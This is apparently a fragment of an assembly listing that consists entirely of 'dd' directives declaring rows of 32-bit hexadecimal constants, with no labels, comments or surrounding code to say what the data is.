dd 78898073h, 57E559B5h, 540D9EA0h, 0A0E007F9h, 0E775607Bh
dd 5F722211h, 44959040h, 104190EEh, 22F9F442h, 9CCE9AD1h
dd 116DAB30h, 6C859Dh, 0D3733D4Eh, 5CF3D87Eh, 0E7E1F9C0h
dd 0F94FD6h, 0BE2337BBh, 79CE80A5h, 3050E569h, 906668FCh
dd 0B446009Eh, 64D6165Bh, 962499E7h, 9000404Bh, 0A9F6B8F1h
dd 0AB322620h, 21F0C010h, 0F0980DEEh, 49CCE409h, 0B730A54Dh
dd 2664DC11h, 5550888Bh, 500A84E5h, 0C818ED53h, 8E1701BCh
dd 7FD1FE21h, 0BCDCEC44h, 0BE3A1E18h, 41DD1D6Dh, 3EB0BC28h
dd 1AF022EFh, 79CA77h, 0A85A5993h, 0C0E058CBh, 0CFE42293h
dd 8AF04A27h, 3F98212Ah, 5500408Fh, 5F56F230h, 7C68632Bh
dd 3F035831h, 0F9F302DCh, 9825A79Ch, 11011429h, 92831B8Ah
dd 0F2E99FF7h, 0E546E0ACh, 18D31E99h, 1D5DDAh, 10483C55h
dd 0E3CF6B0h, 7951028Fh, 0B070266Ch, 1BFD5F8h, 0B836773Ah
dd 0C9290456h, 76187415h, 0E4AB12E1h, 54EF013Ch, 0D48928E5h
dd 0FF8191ADh, 1EE44400h, 188C9553h, 73A5C207h, 1A203902h
dd 0D7F4C35Eh, 72D42328h, 5F589FD0h, 0C8247A7Ch, 89847C9Ah
dd 50C22B3Bh, 0C9B72503h, 5CE5DE38h, 99E05F80h, 4F373E6h
dd 1341089Fh, 616CD0C9h, 940FB27Dh, 96EA2BADh, 0C736D060h
dd 0D4640499h, 9075E3A2h, 0B0E6AA98h, 683072F4h, 0B20E811Bh
dd 38A63993h, 0E8D74B0Fh, 9CE809F7h, 3B345C20h, 1177D9EAh
dd 0F9D10702h, 0E2EF0AA7h, 2EFC44A5h, 4AA44FCDh, 446F1154h
dd 9D88D3B0h, 863019F7h, 627B202Fh, 69830084h, 0B572353Dh
dd 0E0F105BDh, 0C9DCB1AEh, 9BA84074h, 8B1FC8Ch, 0EF410B40h
dd 639C0098h, 0A73BBA70h, 0EB02DA42h, 19B5F7EDh, 487621E8h
dd 5C2510ECh, 94589CEFh, 2880840Dh, 0D28BFF60h, 3C01BFEEh
dd 9F3A36A1h, 31A6FDA9h, 0A8A04E10h, 25A1D1E1h, 0B0E0B854h
dd 20788025h, 6FF43DCCh, 54A003C9h, 0C0679079h, 0AD0B5A88h
dd 9E80F894h, 5FB76EEFh, 5CF97049h, 0CD8378F2h, 994C0E4Ah
dd 307824B4h, 0BB307BCh, 6630A595h, 0E4E7CAh, 0F8B136EBh
dd 6A5C0E2Eh, 2DEAF701h, 4D1C9746h, 66F801DDh, 77F51976h
dd 0C553684Bh, 109B07CFh, 1F40C14h, 0AD9252BCh, 3CE7C8F8h
dd 765BC100h, 0A9AE99CAh, 4773408Ch, 0F603138Eh, 749001FDh
dd 0EF34D9EAh, 61DAABC4h, 77FC6841h, 17B451E2h, 0D022ACh
dd 0DAC957A0h, 0F9412Fh, 3EE295C5h, 92536E8Ah, 297A1636h
dd 0AC344A8h, 1E4D2A01h, 72189EB3h, 0B28A2181h, 0D55C1C82h
dd 0F34AC497h, 73AA0100h, 0B7499DE8h, 0C3E4E581h, 0C41613C0h
dd 2F4030E6h, 0F6009E9Fh, 4AF780DAh, 19EFC789h, 81C3C8D1h
dd 2CC2207h, 357AF73Ch, 4CF1C080h, 56D3038Bh, 0F437419Fh
dd 0BC8010DAh, 1E9EF1Dh
dd 60577126h, 0E593D142h, 5E1F80E4h, 0EFC18F63h, 5D984403h
dd 978BBC0h, 0DCDFB379h, 2DF6EC40h, 33F2E80Ch, 94D1C011h
dd 0F9F84098h, 90134C3h, 8F415006h, 4296211h, 0B5F68000h
dd 4769852Fh, 0A08EC42Ch, 0EF95ED40h, 0E1E1612Bh, 0C10FF7E3h
dd 425464D5h, 0BD939000h, 0E753DD95h, 0CFFB018Eh, 0D1A0017Bh
dd 506C2D8Dh, 0D0A8CE50h, 0D700D280h, 0C2A5507h, 9037A449h
dd 238204ECh, 0C875CD97h, 6D057C7Ch, 0B4C8C2B0h, 0F2718C44h
dd 48933CA4h, 0E0D4049Bh, 20450D3Eh, 0C7389AA4h, 0AE608006h
dd 8D42F77Ah, 44E84884h, 44210727h, 0C0938266h, 0D0B968E1h
dd 7F0F5400h, 15C3360h, 0A0F04172h, 3B5B9E6Fh, 94E3D0B5h
dd 4ACE68B0h, 1A9C5D43h, 0AC5BA8ECh, 5D01B528h, 74F97897h
dd 0B3433CA8h, 8F84A8A4h, 0E64412CEh, 0C8449DEFh, 8C004075h
dd 2BC417D8h, 20BD325h, 22EA0FF1h, 0E45167EEh, 315CD800h
dd 3F68D9Bh, 0F754C508h, 8100DC86h, 1151ED83h, 3EBCAFh
dd 0FC5CCA32h, 0FD2686B5h, 986C2128h, 22A05A00h, 33D93649h
dd 17E51487h, 7184FC2Dh, 0C85CC958h, 0ECA8D2BAh, 280C8AF5h
dd 18C6521Dh, 0FB80AB6Ch, 947AB0C2h, 0B9FE0116h, 53640FD8h
dd 8BC4F598h, 0A0EE6748h, 6FC11984h, 6DA100A2h, 33EA44E8h
dd 0BD489D72h, 89C7C374h, 0D027A32Fh, 8F153Ch, 0DCD7665Eh
dd 6DBAF954h, 0FC6B9C88h, 4AE80359h, 7DDDF03Fh, 30E3D6C1h
dd 0F0EFB670h, 78F486F9h, 9A00C4B1h, 3D2BDF69h, 0D2FD0267h
dd 52538DAEh, 4F102C48h, 86E78913h, 0AB7E8420h, 5C500CBh
dd 0DFD8A731h, 4D00982Fh, 1075CFF4h, 945401B8h, 50CD8998h
dd 69806818h, 0EB8EB904h, 1C90F46Fh, 0CF71510h, 6D3F4B24h
dd 0E04013D0h, 0D9DF60ABh, 732F96CDh, 9E652B00h, 3D465011h
dd 889800BBh, 0FEEAD2F1h, 0CF905617h, 7042BC9Ah, 485B4900h
dd 8A187AB5h, 0F6501004h, 8481E7B3h, 0A8224D71h, 0C196267Fh
dd 3CC81C44h, 0A2C0E85Dh, 88A07693h, 1D9B8C00h, 0B964E31Eh
dd 97100F20h, 31E3D499h, 402172D1h, 5A364070h, 0C300A580h
dd 3B0A5C26h, 0E5653AAh, 0E35222BDh, 0E4107848h, 0B0A17D22h
dd 3DC4324Dh, 38AA422h, 1CAB7302h, 0C3E484C4h, 351F2340h
dd 9409EC9Ah, 0E86254B9h, 241D64h, 4F086FEh, 6E72DB60h
dd 5F9B5200h, 0D7D8DABEh, 0EB77012Dh, 0D15D01B0h, 0A4902881h
dd 0F8DC0BBh, 0F3EC8E23h, 0AF5AD407h, 0F00AA5B9h, 47E70140h
dd 47489ECFh, 0AD1B121Eh, 0DA005044h, 0DB9CB3D2h, 0BB9550Dh
dd 9D2EB4F3h, 0B22F0C83h, 8A178005h, 1CB46039h, 84C648D1h
dd 386C718Bh, 21660819h, 0D0298738h, 5FFA7E00h, 8FD5EAAFh
dd 264098B6h, 3083332Fh, 2786C9A8h, 0E20080B7h, 0F152836h
dd 0E810F9C4h, 56AC4F6Bh, 0D44D0050h, 73356164h, 0AE57C63Ch
dd 223F3840h, 4AD03E67h, 0EB0100F2h, 450F6DDEh, 2107E790h
dd 384FD15Ah, 186BEDF1h, 0B466E070h, 74144BDCh, 2C433B20h
dd 14628086h, 7101107Fh, 0E7238F9Dh, 934310Bh, 704547D0h
dd 3969BCECh, 27240898h, 4600E843h, 0C1EDAC60h, 2F7DFBh
dd 793F0E6h, 47C52954h, 8AEF0802h, 51C832EDh, 77500F0h
dd 1CA6FC9Eh, 20BB7625h, 0D9DACD4Ch, 5F7B13E0h, 0FA7430CAh
dd 0C200D148h, 8721AE73h, 0C89AFF8h, 0E6F1557Ch, 0B04CC479h
dd 34F15F4h, 0A7047898h, 0EC48B65Ch, 3A00E4A2h, 265159AAh
dd 91026692h, 0F5E5DDCh, 20949412h, 8E842AFh, 6C465926h
dd 0F3003345h, 3AA46012h, 2DBF0FD4h, 0BE85D1D9h, 88425C2h
dd 28A881B0h, 8E16C886h, 4832CDBAh, 25B490ABh, 17F6E7h
dd 4DF38722h, 0C9DA42D6h, 9BC4A700h, 187CEC63h, 8C4A0202h
dd 6471B7CFh, 0B20010D1h, 1506F39h, 0D0A52F53h, 0CDAC5030h
dd 55BCF500h, 3E5CF6E9h, 374C0069h, 87D57BD4h, 3869AC17h
dd 6D188189h, 0F0290676h, 0ACE4AA03h, 8FD8C1A4h, 9A000351h
dd 0C793081Dh, 58074E74h, 0DA22AC11h, 1BFA8538h, 0D8CEB076h
dd 1E6E101Ah, 5450CC16h, 28C17CF0h, 707FF5A1h, 0A8798D11h
dd 376A191Dh, 1E527180h, 90357396h, 495B4E6Ch, 1CC86704h
dd 73007922h, 4F3C8AACh, 371AABDh, 9BCA9023h, 8EB8691Ah
dd 8626435Ah, 7338FCD4h, 77D95664h, 3E2E8A4h, 89790176h
dd 7CA8E542h, 8AEAA266h, 0F4129509h, 0D79600EDh, 14F7F4Dh
dd 9001F360h, 2282D121h, 0F0A2241Ch, 0A088C717h, 935B845Bh
dd 7615E4B8h, 0B703FC77h, 0C9D187BDh, 0E30631DEh, 8C488AF0h
dd 1F9016Ch, 93422C0h, 0D2F470FFh, 0D7F70084h, 67FE4F2Fh
dd 5C09FA43h, 0C86F0221h, 9C4DCDF4h, 0DBD426Ch, 41C9F0E1h
dd 15CE5F4Ch, 908EC0C8h, 1921014Fh, 0E630AAE7h, 806420C3h
dd 789010E9h, 4C8788C8h, 0E16CB000h, 0D12069A8h, 20E0458Eh
dd 8A4C9588h, 986C2FB4h, 2CF7948h, 0B6B19005h, 0E0D97234h
dd 44404E09h, 0BDC80EC8h, 0E24018B1h, 62F7653Ch, 7C80ACBCh
dd 1463C8B3h, 4AE900ACh, 22763CDFh, 0F003473h, 90703517h
dd 6B74298h, 8F594E8Dh, 3EFA5979h, 2506943Ch, 50680278h
dd 0ED012217h, 77520C52h, 0D82A0090h, 2BB0C3C7h, 0E2711604h
dd 8CB888C2h, 9E866200h, 0A6FA0293h, 357C00FFh, 5CC7E304h
dd 5F042FEBh, 79CC4992h, 340030ADh, 605A2437h, 754ACDD2h
dd 26E47488h, 42345E58h, 0A8AF71BAh, 804408C0h, 1900345Fh
dd 13D5AEDBh, 0F56D25h, 0F7813522h, 0DE215160h, 85C7005h
dd 0B017029Dh, 0C117E423h, 7BE26F38h, 73803AA8h, 94D3A2BBh
dd 0BF002530h, 0B667C812h, 14DAE92h, 0B0A57CD1h, 23DF94C2h
dd 2A500940h, 64381008h, 0AB070397h, 8F82A3A6h, 0C5AC2D90h
dd 3CFB8B88h, 0F78F7553h, 3580A8E0h, 8F075208h, 0E30018B0h
dd 6E8DC30Fh, 58171D6Ah, 0BC00EC7Ah, 0BB5014EAh, 4709FE54h
dd 0C0DCDE8Eh, 0AE1F770h, 42CCF6CFh, 0E29440A0h, 0AF24EF6Bh
dd 0B180A08Fh, 46544A06h, 80D1F94Dh, 45804828h, 0D231E9E5h
dd 2D300E09h, 88C467h, 0D574FD6Ah, 5356C924h, 0BAF55403h
dd 907F4101h, 24118134h, 582CBC45h, 10807D55h, 0ED022525h
dd 680A54A2h, 0A801605Ah, 18865474h, 0EAC0E782h, 763F0BC7h
dd 0C4825A07h, 6056A925h, 71176C11h, 0D13C214Eh, 0B42295h
dd 173763BAh, 9E3AE6C4h, 9E8300DCh, 0BCA68260h, 0B05F4537h
dd 24044C9h, 0EBB82D17h, 0ACD857F4h, 8D990E60h, 2712B4B1h
dd 0D0130234h, 0AE2F82F0h, 78685714h, 0A90B76A8h, 10BAEA2Bh
dd 13CF50DCh, 240F4D5h, 55611CB4h, 0B45A6042h, 4AA7B07h
dd 0EA30E22Bh, 7584A4h, 6876B0E1h, 0CE082521h, 3670F081h
dd 0F68F001Fh, 0A08D1B19h, 965BFEACh, 0E43F4FF8h, 329AD117h
dd 9931F2D4h, 488750F1h, 0D1C5EF10h, 0DAC95D05h, 4901D850h
dd 8E7554A1h, 0E3FCED10h, 0BF212582h, 9E90D420h, 79071A4Fh
dd 0FEF9D1CDh, 4C09A01Ch, 0EF227008h, 7FF0F879h, 80887949h
dd 0EA108056h, 0F0E1002Bh, 0F9FC13F8h, 104B0CFh, 0D6FD93C2h
dd 0EF94A8C1h, 0C05CFC10h, 0E040BB4Eh, 7D0FDEAAh, 67AB034Eh
dd 5CA54966h, 94E83FD8h, 0E7C0804h, 70818C97h, 0B2D0A14Dh
dd 0F17A95h, 72D1C991h, 903106A8h, 93531477h, 25A2394h
dd 18676BEEh, 16DFFCA0h, 9A07FE56h, 990652Eh, 0CEAAB5C0h
dd 1A5D0222h, 4CEA2C5Eh, 3C607C42h, 6029940h, 0FE3AC660h
dd 6C04468h, 787A6FD6h, 1811E85Dh, 0AE0FDEACh, 0B74BE28Dh
dd 7F68C100h, 7FAFAFFh
dd 0D37B0F01h, 37502A3Dh, 0C676BC42h, 0C618275Ch, 9805B00Bh
dd 226CB21Bh, 0A6B88071h, 11CD6018h, 565A4A3Ah, 42C921Ch
dd 0C78BFE00h, 917C125h, 98D05EB2h, 0C4E4D02Bh, 0CDE78B03h
dd 0E82C1F04h, 79316115h, 68C20578h, 20BAEF22h, 244D35A4h
dd 0D9019773h, 0CD9BB159h, 7B100242h, 8E39F180h, 1E2A0BE5h
dd 7E008201h, 5E84C2B1h, 3B1B4030h, 44013607h, 0E463E6C8h
dd 0D3F02308h, 0C62E2518h, 0C3F56C91h, 0FE1BE80h, 4013B893h
dd 1817D420h, 93A0C04Fh, 0C46572A7h, 8088D0BEh, 667189D2h
dd 0A04D7468h, 119D69FAh, 4C8508Ch, 0B28C00DFh, 0FC88780Fh
dd 209548CCh, 0FD9F3458h, 0D25B014Fh, 8E795683h, 0C4443007h
dd 0C021BD8Bh, 98DBF982h, 0E7948Ah, 78FB0239h, 7A29369Ch
dd 8C73A826h, 8FE4EC08h, 0F81451CDh, 4F9832D2h, 0F3BB6A60h
dd 3F6024B4h, 2E2FBDCEh, 912094E2h, 8CEA0FF5h, 23BE00FFh
dd 2FC702EEh, 0D4915401h, 0B149E812h, 7B19DAB0h, 0D0396260h
dd 715AED8h, 0D274938Eh, 0A75130E8h, 2C05AC58h, 0A912035Fh
dd 2608CCh, 0BEAB63B3h, 0CF6842AFh, 1182B512h, 481D3CB2h
dd 4308C036h, 0EC9388BAh, 0C4006DB8h, 2DAD454Fh, 9816F78Eh
dd 0A0F04830h, 0B739FD32h, 3442C4D2h, 1702F121h, 0C487088Eh
dd 0AECD0060h, 90A2824h, 0DD24F6B2h, 912F38D7h, 0F708825Ch
dd 24665C2Fh, 5C84863Ch, 0C98F057h, 0C0E7044Fh, 90290982h
dd 15326460h, 0CDE11C9Ah, 0EFA853E6h, 608C7DF1h, 564B0179h
dd 21F4D0C9h, 0C43D0CEEh, 9059DE94h, 5A0518FAh, 0AC32D6EAh
dd 0F3C0381Fh, 0FE34AD53h, 0F0690050h, 6041490Fh, 23049C93h
dd 8AEF3DE7h, 60805885h, 12506890h, 30CCF0B5h, 0B1187B1Ch
dd 3105940h, 0FF08AD4Dh, 5D806367h, 0E712B821h, 30046BEAh
dd 0C8819C4Fh, 646C5CCDh, 0B4A85AC7h, 8310BCF1h, 0C46C82C4h
dd 8B80A0A9h, 0A44C3FAEh, 9D864E16h, 707840C8h, 29A6008Ah
dd 0EA5502FCh, 0D51CCBEFh, 0E8A423A2h, 0B1B91187h, 3CB29B84h
dd 4198EB07h, 0FCC9C0F6h, 5400B011h, 0D0B87DDCh, 9654721h
dd 18BE045Eh, 0F05C5101h, 78AC48ABh, 9CD64601h, 7CFF637Eh
dd 1851FD8h, 8C4E0DC9h, 2C878480h, 26E48094h, 6841BEh
dd 0B5A6B76Ah, 0AB796C59h, 23BA80A0h, 86A8859Dh, 80ACFC14h
dd 0FB8B750h, 40BB4B82h, 3AE3FDD8h, 4400AA28h, 72C0D8A9h
dd 57D5636h, 2EE96ACEh, 38AC01CBh, 70904173h, 51C0F9BCh
dd 7136A959h, 823D0005h, 0ED7D3E10h, 961D176Bh, 0DA1F6714h
dd 9CC858D2h, 7C119FD2h, 0EE0AF427h, 34108A07h, 357032EAh
dd 5E8661h, 0D61D2183h, 3A0FBD1Eh, 60F9020Bh, 7514CCCFh
dd 0D35C00B9h, 0DAC42538h, 47040D6Fh, 8540293Bh, 9B8038BCh
dd 0EB88A267h, 7E93F500h, 228FE801h, 41B90733h, 0C28A1E5Bh
dd 0B866D068h, 0BF8EF44h, 4E8EB976h, 0C0284C2h, 60714C71h
dd 0D7D3C141h, 95C00031h, 693E0EDFh, 63248D81h, 0A0C8B8D8h
dd 179E7284h, 8F8E34h, 58F6EA3Ch, 7648775Eh, 0EDAF00F0h
dd 0FA01C8FCh, 0CD80A848h, 50BC9C79h, 31006373h, 8C4C851Ch
dd 0B34657h, 0CC8F9316h, 896DD9B2h, 99C8D114h, 0C128036Ch
dd 0A1B5301h, 0F3171059h, 206217E4h, 91A89B28h, 9513A300h
dd 8BF54751h, 9361D7Ch, 9A194343h, 0E00E1BE7h, 6E93CC9Bh
dd 0F9E898A1h, 343895D9h, 0A400D4F4h, 84F68D19h, 1D186DDDh
dd 9B9F28Fh, 78885971h, 86FC50C0h, 0F41F1E5Ah, 18C5219Fh
dd 9CC1D7E4h, 71314C50h, 44775423h, 4D2971D6h, 111D0FCh
dd 79CA6C00h, 0C0FE60ACh, 0E2280700h, 0C4D9DEC2h, 7D7501C8h
dd 4544CC18h, 0FA5074D4h, 68AC70B1h, 693B8669h, 73542E58h
dd 0C41083C8h, 0B3A8B8F1h, 9DEC8EDEh, 10C0AD48h, 17050F15h
dd 1F91FD95h, 0C7251C4h, 28B59DEFh, 800E52D8h, 5918224Ah
dd 9A08C819h, 0F5E938C6h, 99A777B0h, 0D99E8E80h, 8041FD47h
dd 0B0A08561h, 9DF0720Bh, 44370401h, 4C78F8BDh, 6787F8F9h
dd 7FF5C118h, 866C9D1h, 4CEA7011h, 4FC6A8E8h, 3165497Dh
dd 5CE27B79h, 483A02Fh, 7CF013D2h, 0C9073240h, 0A1B38A3Ah
dd 8CEFD0A0h, 949095DAh, 635C84D4h, 0C57D0067h, 0A49F875Eh
dd 0E02C078Fh, 0C515F0A7h, 0F7588807h, 0AAA0DA00h, 0FD93E4BDh
dd 781A95A7h, 0AD0E30C6h, 34736E0h, 22D34A4Fh, 60B412B0h
dd 6AF24540h, 4EC302A0h, 2BBA9502h, 80FC0641h, 52EFF751h
dd 5F64722Ch, 0C5E82286h, 26F02Ch, 68A20FC6h, 52122191h
dd 0C4AE7F00h, 0EB1E39ECh, 2230971h, 1C68D6F2h, 0F28B788Bh
dd 0A0E8515Fh, 4BF270E0h, 300889FAh, 103C08A8h, 529180E1h
dd 6E4101ACh, 0EC8654EFh, 205C9283h, 0A8B0E0E2h, 0E6844E79h
dd 0EF4A017Eh, 0F2220A82h, 0E273F9D7h, 0A8ED38A7h, 714ECD89h
dd 19F18494h, 0E8F285h, 9C7C2318h, 538DB2Eh, 7D4A06D4h
dd 8078D16Fh, 46641271h, 18D42E8h, 0D8170FE3h, 64735D08h
dd 9280333Fh, 0EE5FA1CDh, 815F9EEAh, 59DB5420h, 288D1CA4h
dd 0AF99295h, 91585448h, 3588075h, 0F9CCFCB1h, 8F1ED823h
dd 0FD2F0068h, 0FFC7D15Eh, 0B4C2B0AAh, 3341340Eh, 30EF6990h
dd 5C7CA9BCh, 210E9C9Ch, 94BCA03Eh, 2CEA4F16h, 404818A3h
dd 0C0F4B072h, 0AB01BE73h, 9A0CD048h, 0A8307461h, 0EB53011Dh
dd 7658F719h, 868EEh, 0DF1CB78Ah, 16109134h, 0EF6FD0EAh
dd 0EB31CC04h, 0F208C0FCh, 0C88E0381h, 0C48E90DEh, 0EC491091h
dd 0FD4B7D00h, 0B4050AFh, 0ABF64E02h, 0DB01F4D9h, 0C8A4125Ch
dd 0B70083B0h, 0C529D113h, 65F9ECh, 0EF6D939Dh, 90703495h
dd 0C39A4A07h, 0EE8218E4h, 0F06044F1h, 40C8133Ch, 0F78088C4h
dd 81D10704h, 64F96F93h, 0D8B96580h, 49009635h, 0E488A9A1h
dd 735BD4FBh, 0FE751F10h, 8646420Dh, 2CD41511h, 7F1AE0CEh
dd 7425B5A1h, 7A05006Fh, 418A1DB3h, 0A043DC6h, 9288F181h
dd 0F6678480h, 8C100F89h, 0E93908D7h, 966EF168h, 0C490ABA9h
dd 8FFF5Dh, 6DF787C0h, 8960BADAh, 0D9A9D0Bh, 0CF08A406h
dd 0FC118C22h, 3C85D062h, 5500C862h, 0DCC1BA00h, 0DE7ACE0Ch
dd 0F4F3042Ah, 821D0DCDh, 0AB24F1D0h, 1F87B0C8h, 0C0055CBCh
dd 75F7B594h, 2A0ADD12h, 880A5B72h, 0EF4400A8h, 0B5828F8h
dd 0C44E22ECh, 119AD127h, 43095710h, 41220978h, 0CE903EDDh
dd 2200596Fh, 8CEA87EEh, 0F5FF0800h, 3F10099Eh, 600EF823h
dd 0F0250832h, 0E44CA19Ah, 24560850h, 26E511E9h, 81122410h
dd 6CBA640Ah, 0E0C54700h, 2E83725h, 9EFBFA2Ch, 0E4C0E768h
dd 3E013521h, 97C06E36h, 0E869C80Fh, 0F2FFD280h, 1CECF9A2h
dd 836D6C00h, 9AC53EB8h, 62F71667h, 53D021D8h, 0F14408CBh
dd 88EBC517h, 0ACB80658h, 0E85CF2F6h, 9C0D8808h, 4CCA408Bh
dd 0A726C8B9h, 0EC0A5202h, 896D2F50h, 0B04C49D8h, 6EAF861h
dd 677E598Bh, 0C6198200h, 10EEE27Bh, 0B821FD50h, 2260206Eh
dd 0A0309161h, 2204087h, 0CFF52F54h, 870D4C30h, 83EB4Ch
dd 7968ADC9h, 0C4D90752h, 0AD4ACD29h, 193417CCh, 36F14820h
dd 41EC00B7h, 0CDA93918h, 8F0152E1h, 0FCBACA17h, 61A70A24h
dd 534A6CA0h, 686F1F95h, 4B0A80A1h, 0F5A2D7Ah, 0A8E40D1Eh
dd 1B8B9A63h, 45780A8h, 3224EE0Ch, 0BC680834h, 36D380DCh
dd 0BCFA742Eh, 0F5B26F00h, 2B59158Dh, 982B8B6h, 4F86F817h
dd 23E0342Eh, 0CD1E5BAh, 3859FC2Ch, 4A84E490h, 60B74503h
dd 0C0890C6h, 67BB7519h
dd 8600F0C1h, 0CAC8779Fh, 27737B39h, 64C84159h, 50B11906h
dd 2D3F1D00h, 0B30597h, 4E4B1F9Fh, 40109003h, 8CF83428h
dd 204E0F42h, 166AC778h, 1292B300h, 87D7DB47h, 5E4800A2h
dd 24ECEAF6h, 785295C2h, 80683EA8h, 3371544Eh, 2EAF5634h
dd 954B0CFh, 7C4613F5h, 8281450Fh, 835C55Fh, 0C8FB3801h
dd 0E4F49016h, 3A5C0086h, 10707E1Ch, 94964062h, 1CB4374Eh
dd 951B038Fh, 7323BE49h, 506452E8h, 0C1205490h, 607C09E0h
dd 8C027F1Eh, 7304CFE9h, 297960C2h, 0BC2C28D8h, 211EA4A5h
dd 65DADEDEh, 14FF4349h, 0D0EE0148h, 0E04C79C8h, 633FF98Eh
dd 6680DCA8h, 5B0FC95Ah, 416579B6h, 0BBB959A3h, 86F0406Ah
dd 419D9243h, 51752200h, 0EA94DF77h, 681918E4h, 3DD1610Ch
dd 201DC000h, 0BBB87EC5h, 0D8724FA1h, 12008550h, 843A1378h
dd 5C43534Bh, 28003594h, 16E6D93Fh, 6E007FD2h, 7A15ECA4h
dd 0BCAC4068h, 0C5768060h, 580FDACCh, 3F382F76h, 0B59A0285h
dd 7BC6D116h, 708711B4h, 0D8CAEE5Bh, 0CA5E0800h, 1BF2E79Fh
dd 7D01D24h, 913E6409h, 286E8BDCh, 300BD3Ch, 0B031C05Eh
dd 18E3889Dh, 4CBA0D08h, 3638DF59h, 14F127EBh, 721B0078h
dd 0AD7F10AEh, 6EB0BFFFh, 96545E02h, 0D417EC61h, 519B4040h
dd 0D72CBB59h, 0E90126C9h, 8465AF7h, 7E8463Ah, 100061E8h
dd 4D8E3C5Dh, 758322F4h, 805A3974h, 24868227h, 0D012815Bh
dd 0C490199Eh, 267D64h, 61582827h, 9C38999Ah, 0D12563B8h
dd 656091C9h, 110F20Dh, 0FBD62EE2h, 1703F28h, 0F1D17F49h
dd 6D620FADh, 3E1200B0h, 0E7C613CFh, 23E0E96Fh, 255E12EAh
dd 778CB69Ch, 0BA210E01h, 0AC327617h, 0ED001C32h, 0D14DA210h
dd 7C006813h, 7BEBF036h, 6043CDEFh, 813491D8h, 30E9A1B6h
dd 42144D14h, 5897C18Fh, 6C0424Ch, 0A5633C8Ch, 0A911DFAh
dd 0B1BB8054h, 0A89A27FAh, 8C7C207h, 71A13006h, 0B8210FB6h
dd 3809838h, 59294EC3h, 0F775AA00h, 0BA8F8450h, 4BAC5B18h
dd 0ECFA0798h, 0F5D17B07h, 36B07146h, 0B109A41h, 783CEC04h
dd 0D172EC00h, 6F4E4BC7h, 0F7A1CD8h, 9BDB84DCh, 0C0E15525h
dd 0EDD253CAh, 576C9400h, 6DBBEFD4h, 9AC2121Fh, 615022E8h
dd 4219C921h, 8F05F8h, 0E5680A1Fh, 11C13156h, 93F77F05h
dd 54405A61h, 449AE0F9h, 98A60E40h, 4C825E18h, 9B607845h
dd 0CC254D71h, 54B01213h, 98942808h, 864E2C0Ch, 59F640FCh
dd 46EEA203h, 99B6EA01h, 0CFA54A01h, 6C806C6Ch, 953F0385h
dd 0A768B927h, 0E01F7A54h, 0B6310F2Ah, 59930030h, 6EE210F7h
dd 0F007D2A3h, 0BB9CA480h, 8040533Bh, 915B21E1h, 3A0486F5h
dd 9F9B18CEh, 849945C0h, 24800929h, 6848EC02h, 0D1C0E677h
dd 0BA81AC46h, 0EEFB0F58h, 37409C3Fh, 7CA0FA64h, 58830939h
dd 0C89D389Ch, 0BC5C2EA4h, 0CAEF0EC0h, 4A4FB899h, 18EC8CAAh
dd 0FD09AB1Dh, 790E4ADh, 0AFEC531h, 0F4A3101Fh, 0BF001741h
dd 4F91D924h, 2674D1AEh, 265CC5Ah, 10A8237Ah, 2B004C51h
dd 1DB0D532h, 0EA390138h, 0F3C9442Ah, 0F0A09C21h, 68049027h
dd 90C4EB6h, 9C49FF04h, 0E01D1078h, 8B240371h, 80F2B961h
dd 0C444ECF1h, 2C124922h, 4CC81490h, 0B6B9020Bh, 18B494A8h
dd 0FB7E20E6h, 5AABA900h, 0E00C8523h, 4DA40287h, 64584A7Eh
dd 7859A4E1h, 60358B98h, 13ED4368h, 0A6ABEF76h, 589F10F0h
dd 0AA733300h, 6C6085D8h, 0E4341100h, 79074D5Bh, 884252CDh
dd 18085C7Ch, 82A10C80h, 1A01079Eh, 420F9BD1h, 4E3E998Dh
dd 7F715BF8h, 4BD7943Ah, 0FE907067h, 0F5C678h, 0AC2A0ABCh
dd 4B5597F7h, 876E8314h, 88B0B99h, 800451FFh, 19E335E7h
dd 4E14A7F7h, 4290902Ah, 96B600B8h, 254D6B9Fh, 7F501DD7h
dd 95DD8348h, 0C05DE32Eh, 0FF0505DCh, 0B8A20233h, 0C0C4101Dh
dd 2FE0A9E5h, 28CC3B62h, 228190Ch, 0E6E7600Fh, 78610EA5h
dd 0FC7CFCF2h, 80FC68F9h, 39D57747h, 3C263D05h, 1F79E680h
dd 336BC954h, 71344F4h, 0B4B71074h, 447F310h, 0AC4C717Bh
dd 672298F2h, 1DE41F00h, 0C82CC2BFh, 70515887h, 0B07EBBC0h
dd 285C81B6h, 467918B7h, 25ABE52Ch, 0EC840FA1h, 5BCD4570h
dd 1AFC4CCCh, 90B10424h, 17E0B8F6h, 4ACC2F46h, 0AB7C4B47h
dd 840C5010h, 31250200h, 0D2DDD75h, 0B42901F8h, 86F25A72h
dd 90DC3CB9h, 0A3257228h, 32B49072h, 0E5210594h, 60DDC262h
dd 0E40C89A4h, 64FD9F00h, 5E67D72Ah, 0D17C004Ah, 0C1A75DE1h
dd 0D90228A9h, 80697022h, 0FD384364h, 2F789C32h, 0AC9D8C61h
dd 0E145F4CAh, 10F18F34h, 4875A480h, 626C96ECh, 0D45C7C1Ch
dd 0B6B81050h, 0C3F7425Ch, 0EB42A4A2h, 4595FCE6h, 0C20C0788h
dd 0F0B4B780h, 0DE7D4A19h, 0B71BA39h, 69F008D4h, 899F6174h
dd 0B4902F6Ch, 89A0749Bh, 0C70B295Eh, 0AA08560h, 6114E2B8h
dd 8884E8Ch, 6B9D00E8h, 8BBAC6FAh, 2028F92h, 89FFA2B1h
dd 34986010h, 617EB09Eh, 0E393108Eh, 80C07867h, 4C44AB27h
dd 0BA0203CEh, 0B6C7E7EAh, 0A30CC5BCh, 0D5E51080h, 0F200B03Ah
dd 0E6C40CEBh, 39F70218h, 105C121Ch, 6CEC1C89h, 0DD620052h
dd 1112F23Eh, 2128DF1Eh, 0AE40C478h, 91609E5Bh, 3010030Ch
dd 0D0177227h, 594A080h, 0C8D190FDh, 7294A138h, 0F90B00F4h
dd 6DE8D6C3h, 3F64834h, 170C2324h, 0B108199h, 0C5951116h
dd 300B0BF6h, 0A988C4A0h, 73001CF7h, 0F35D7C3Eh, 70676BD0h
dd 22F15AEFh, 0E8335C98h, 2F78515h, 72049DEFh, 34873D64h
dd 0E38BB8C7h, 28550C05h, 317D6915h, 37FE4A2h, 569D2C56h
dd 9C07B722h, 0C6FD072h, 0C4B60FBEh, 0A0B80B47h, 0DD2A0764h
dd 0E0C4868Fh, 463ABBCCh, 218A371Ch, 14391C80h, 0B694A3C9h
dd 27A991D0h, 80F46A07h, 7F3028A9h, 0D20D032Fh, 0BE1A4C10h
